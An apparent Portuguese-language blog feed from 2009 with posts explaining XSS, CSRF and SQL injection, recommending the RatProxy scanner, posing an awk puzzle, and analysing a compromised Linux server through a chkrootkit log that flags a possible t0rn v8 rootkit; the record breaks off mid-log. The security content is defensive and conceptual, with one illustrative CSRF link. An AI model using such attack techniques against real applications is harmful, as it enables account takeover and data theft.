<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-21488912</id><updated>2011-10-06T19:22:37.724-03:00</updated><category term='Unix-Like'/><category term='VoIP'/><category term='Santa Matilde'/><title type='text'>Vou subir de bicicleta ....</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-21488912.post-218703076590537794</id><published>2009-09-27T21:31:00.003-03:00</published><updated>2009-09-28T21:04:24.555-03:00</updated><title type='text'>Ferramenta para busca de problemas de segurança em aplicações WEB</title><content type='html'>Pessoal,&lt;br /&gt;&lt;br /&gt;Esse assunto é de interesse de empresa que trabalha com desenvolvimento de aplicações WEB.&lt;br /&gt;&lt;br /&gt;O motivo desse post é despertar o interesse em todos sobre esse assunto, e mostrar também os problemas comuns de segurança em aplicações WEB, para que dessa forma possamos sempre estar melhorando nossas aplicações.&lt;br /&gt;&lt;br /&gt;Quando trabalhamos com aplicações WEB estamos expostos a tipos de ameaças (ataques) que não são tão simples de se identificar e que podem nos causar muitos problemas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alguns exemplos desses tipos de ameça são:&lt;br /&gt;&lt;br /&gt;Ataques XSS e XSRF, SQL Injection e Insecure Direct Object Reference, e mais alguns que não vou citar para não estender muito o post.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;XSS - Cross Site Scripting&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este tipo de falhas consiste em injetar código (normalmente JavaScript ou VBscript) no browser do usuário, alterando o código da página, podendo assim levar ao roubo de informações. Erros em validações de parâmetros enviados pelo método GET ou POST são o principal motor deste tipo de falha.&lt;br /&gt;XSS também conhecido como CSS (Cross Site Scripting, facilmente confundido com Cascading Style Sheets) é uma vulnerabilidade muito comum encontrada em aplicativos web. XSS permite ao atacante inserir códigos maliciosos nessas páginas, para que sejam executados no momento em que tais páginas forem acessadas.&lt;br /&gt;Os ataques XSS tiram partido das falhas na forma como um determinado site processa os conteúdos inseridos por um usuário em formulários, URLs e até mesmo nos cabeçalhos dos pedidos HTTP. Explorando esses erros na validação de conteúdos, um atacante pode introduzir Javascript malicioso no site.Quando o site atacado exibe essa informação a um usuário, o Javascript malicioso é executado no browser do usuário podendo assim ter a informações privilegiadas como Cookies por exemplo.&lt;br /&gt;Em sites que utilizam apenas Cookies como meio de autenticação, um ataque XSS bem sucedido, permite a um atacante  ganhar controle sob a identidade do usuário atacado.&lt;br /&gt;&lt;br /&gt;Traduzindo, é possível por exemplo ter a informações de acesso de um usuário adminstrador de um sistema WEB se a aplicação for vulnerável a ataques XSS.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;XSRF - Cross-Site Request Forgery&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;XSRF é a sigla para Cross Site Request Forgery. Esta técnica pode ser usada de várias formas e a vítima tem que estar autenticada na aplicação vulnerável.&lt;br /&gt;&lt;br /&gt;Quando um usuário se autentica em uma aplicação web existe uma relação de confiança entre o usuário e a aplicação durante o período de tempo em que a sessão autenticada permanece ativa. Neste período a aplicação não solicita uma nova autenticação (usuário e senha) a cada função que o usuário acessa da aplicação. Existe aplicações que solicitam novamente a senha em algumas funções críticas, como é o caso de pagamentos de contas em aplicações de home banking. Mas a maioria das aplicações web autenticam o usuário apenas uma vez e confiam nesta autenticação até o fechamento do navegador ou a sessão cair por tempo de inatividade.&lt;br /&gt;Para fazer um ataque de XSRF, o atacante tem que conhecer a aplicação alvo e identificar a url ou o formulário que realiza a função crítica, como por exemplo, aprovação de processo, enviar mensagem, confirmar uma pendência importante, etc.&lt;br /&gt;O atacante estuda a função crítica, identifica o endereço das páginas e os parâmetros que são enviados.&lt;br /&gt;De posse destas informações, o atacante monta um link ou um código HTML que irá executar a função crítica estudada.&lt;br /&gt;&lt;br /&gt;Por exemplo, pode existir uma aplicação financeira que quando um usuário legítimo aprova um pagamento através de um botão, o botão na verdade ativa o endereço http://aplicacao/aprova_pagamento?id_conta=10.&lt;br /&gt;&lt;br /&gt;Conhecendo o endereço, os parâmetros e a forma com uma função crítica é chamada, o atacante tem que fazer a vítima clicar no link enquanto ela está autenticada na aplicação. Existem várias formas de se conseguir isso:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;* Gravar um script ou html numa aplicação vulnerável a Cross Site Scripting. Quando o usuário autenticado acessar o script ou html gravado irá processar e executar a função da aplicação sem saber;&lt;br /&gt;&lt;br /&gt;* Se aplicação permitir a edição de figuras, o atacante poderá incluir uma figura que execute uma url;&lt;br /&gt;&lt;br /&gt;* Colocar um link em outra aplicação e solicitar para um usuário autenticado clicar no link ou acessar uma página que tenha o script ou o link montado especialmente para o XSRF.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Quando o usuário estiver autenticado na aplicação e clicar em um link ou acessar um página que tenha o script ou html com ataque de XSRF irá executar a função até mesmo sem saber.&lt;br /&gt;&lt;br /&gt;No nosso exemplo a vítima poderá aprovar um pagamento sem intenção através da chamada a url http://aplicacao/aprova_pagamento?id_conta=10.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;br /&gt;Qual o perigo?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Existe um risco muito grande principalmente em aplicações que usam o conceito web 2.0. Essas aplicações possuem conteúdo montado por usuários, compartilhamento de informações e grande interatividade com usuários. Aplicações corporativas com funções críticas também são alvos deste tipo de ataque.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SQL Injection&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;SQL  Injection  é das vulnerabilidades mais conhecidas (senão a mais conhecida) pela Internet.&lt;br /&gt;&lt;br /&gt;SQL Injection ocorre quando o atacante consegue inserir uma série de intruções SQL dentro de uma 'query' através da manipulação das entrada de dados de um aplicação. Pequenos erros de validação podem se revelar catastróficos e extremamente embaraçantes.&lt;br /&gt;&lt;br /&gt;O principal motivo pelo qual deve-se impossibilitar a utilização da SQL Injection está no fato de que, através de uma simples instrução SQL, como por exemplo, uma projeção de dados (consulta para exibir alguma informação na aplicação web - um relatório), outras operações podem ser executadas, podendo impactar sobre o esquema das tabelas , os dados armazenados, etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Qual o perigo?&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Perder todas as informações de um determinado banco de dados/tabela. Isso já é motivo mais que suficiente para se preocupar com esse tipo de ataque.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Existe algumas ferramentas para busca de problemas de segurança em aplicações WEB, muitas delas caras e dificeis de usar.&lt;br /&gt;&lt;br /&gt;Mais por felicidade o Google tem uma ferramenta para busca de problemas de segurança em aplicação WEB que se chama RatProxy¹ que foi desenvolvida em seus laboratórios.&lt;br /&gt;&lt;br /&gt;É um software desenvolvido pelo Google para testar suas aplicações e que seu código fonte está disponivel sobre a licença Apache 2.0.&lt;br /&gt;&lt;br /&gt;Isso o Google usa o RatProxy¹ para testar suas aplicações WEB :)&lt;br /&gt;&lt;br /&gt;Por que não usar o RatProxy¹ para testar nossas soluções então ?&lt;br /&gt;&lt;br /&gt;Vou tentar descrever como o software funciona bem por cima, sem entrar em detalhes muito técnico.&lt;br /&gt;&lt;br /&gt;Após realizar o download da aplicação basta um comando para fazer a instalação, e já está pronto para se utilizar a ferramenta.&lt;br /&gt;&lt;br /&gt;Ele trabalha com um proxy, você roda a aplicação passando qual é o dominio (endereço da aplicação) que deseja fazer os testes, depois configura seu navegador para utilizar o RatProxy¹.&lt;br /&gt;&lt;br /&gt;Após essa etapa o que precisa ser feito é utilizar a aplicação WEB normalmente.&lt;br /&gt;&lt;br /&gt;Ele trabalha no meio da aplicação WEB, toda informação que é trocada pele seu navegador e a aplicação WEB é analisada pelo RatProxy.&lt;br /&gt;&lt;br /&gt;O RatProxy gera um log com as informações dos possiveis problemas encontrados na aplicação WEB, no final é possivel gerar um relatório em html das vulnerabilidades encontradas. É legal que nesse relatório ele mostra o que pode estar errado no codígo da aplicação :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;O RatProxy mostra os possiveis problemas, mas temos que fazer a avaliação, portanto não adianta o RatProxy nos alertar sobre um potencial risco de XSS se não conhecemos o que é o problema e como resolve-lo.&lt;br /&gt;&lt;br /&gt;Reforçando a idéia desse post é despertar o interesse pelo assunto, e que possamos evoluir no estudo de segurança das nossa aplicações WEB.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[1] - Link para ferramenta RatProxy: http://code.google.com/p/ratproxy/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-218703076590537794?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/218703076590537794/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=218703076590537794' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/218703076590537794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/218703076590537794'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/09/ferramenta-para-busca-de-problemas-de.html' title='Ferramenta para busca de problemas de segurança em aplicações WEB'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-7967457850687403659</id><published>2009-08-07T19:50:00.001-03:00</published><updated>2009-08-07T19:51:48.685-03:00</updated><title type='text'>AWK</title><content type='html'>valendo uma cerveja a explicação de:&lt;br /&gt;&lt;br /&gt;awk '/ve uma cerveja/ {TUX[$3]++} END {for(i in TUX)printf ("%s:%d\n",i, TUX[i])}' /boteco/garçom-pedido.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Obs: não vale o pessoal da Devel-IT que estava no treinamento de AWK :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-7967457850687403659?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/7967457850687403659/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=7967457850687403659' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/7967457850687403659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/7967457850687403659'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/08/awk.html' title='AWK'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-3033170230127824612</id><published>2009-06-20T02:10:00.010-03:00</published><updated>2009-10-23T02:24:19.445-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Possible t0rn v8 \(or variation\) rootkit installed</title><content type='html'>  	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt; 	&lt;title&gt;&lt;/title&gt; 	&lt;meta name="GENERATOR" content="OpenOffice.org 3.0  (Linux)"&gt; 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } 		A:link { so-language: zxx } 	--&gt; 	&lt;/style&gt;   &lt;p class="western" style="margin-bottom: 0cm;"&gt; &lt;/p&gt;O que fazer quando descobrimos que um servidor GNU/Linux foi comprometido? &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;Nesse post vou mostrar uma pequena análise de um servidor comprometido por uma rootkit.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;   &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;*A Suspeita&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;Em um servidor usado para “provar” alguns softwares .. um belo dia me deparo com o seguinte retorno do comando ls …  &lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;span style="font-family:AquaBase;"&gt; homer:~# ls&lt;br /&gt;&lt;span style="color: rgb(153, 102, 51);"&gt;ls: unrecognized prefix: do&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 102, 51);"&gt;ls: unparsable value for LS_COLORS environment variable&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;&lt;span style="font-family:AquaBase;"&gt;*A prova&lt;/span&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:AquaBase;"&gt;Checando a variável de ambiente&lt;span style="font-weight: bold;"&gt; LS_COLORS &lt;/span&gt;… nada de anormal … &lt;/span&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;span style="font-family:AquaBase;"&gt;homer:~# echo $LS_COLORS&lt;/span&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;&lt;span style="font-family:AquaBase;"&gt;no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: &lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;Saída de erro no google :&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;a href="http://www.google.com.br/search?q=ls%3A+unparsable+value+for+LS_COLORS+environment+variable&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=com.ubuntu:pt-BR:unofficial&amp;amp;client=firefox-a"&gt;http://www.google.com.br/search?q=ls%3A+unparsable+value+for+LS_COLORS+environment+variable&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=com.ubuntu:pt-BR:unofficial&amp;amp;client=firefox-a&lt;/a&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;E ........??&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;Muitas ocorrências sobre comprometimento do servidor …  &lt;/p&gt;   &lt;p class="western" style="margin-bottom: 0cm;"&gt;Executando o software chkrootkit e analisando seus log's as suspeitas se concretizaram ...&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;Segue o log do chkrootkit executado no servidor:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;ROOTDIR is `/' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `amd'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `basename'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `biff'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `chfn'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `chsh'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `cron'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `crontab'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `date'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `du'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `dirname'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `echo'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `egrep'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `env'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `find'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `fingerd'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `gpm'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `grep'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `hdparm'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `su'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Checking `ifconfig'... INFECTED &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `inetd'... not tested &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `inetdconf'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `identd'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `init'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `killall'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `ldsopreload'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `login'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `ls'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `lsof'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `mail'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `mingetty'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Checking `netstat'... INFECTED &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `named'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `passwd'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `pidof'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `pop2'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `pop3'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `ps'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Checking `pstree'... INFECTED &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `rpcinfo'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `rlogind'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `rshd'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `slogin'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `sendmail'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `sshd'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `syslogd'... not tested &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `tar'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `tcpd'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `tcpdump'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Checking `top'... INFECTED &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `telnetd'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `timed'... not found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `traceroute'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `vdir'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `w'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `write'... not infected &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Checking `aliens'... no suspect files &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for sniffer's logs, it may take a while... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for HiDrootkit's default dir... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for t0rn's default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Searching for t0rn's v8 defaults... Possible t0rn v8 \(or variation\) rootkit installed &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Lion Worm default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for RSHA's default files and dir... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for RH-Sharpe's default files... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Ambient's rootkit (ark) default files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for suspicious files and dirs, it may take a while...  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/lib/init/rw/.mdadm /lib/init/rw/.ramfs &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/lib/init/rw/.mdadm &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for LPD Worm files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Ramen Worm files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Maniac files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for RK17 files and dirs... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Ducoci rootkit... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Adore Worm... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for ShitC Worm... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Omega Worm... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for Sadmind/IIS Worm... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for MonKit... nothing found &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;Searching for Showtee... Warning: Possible Showtee Rootkit installed &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;Searching for OpticKit... nothing found 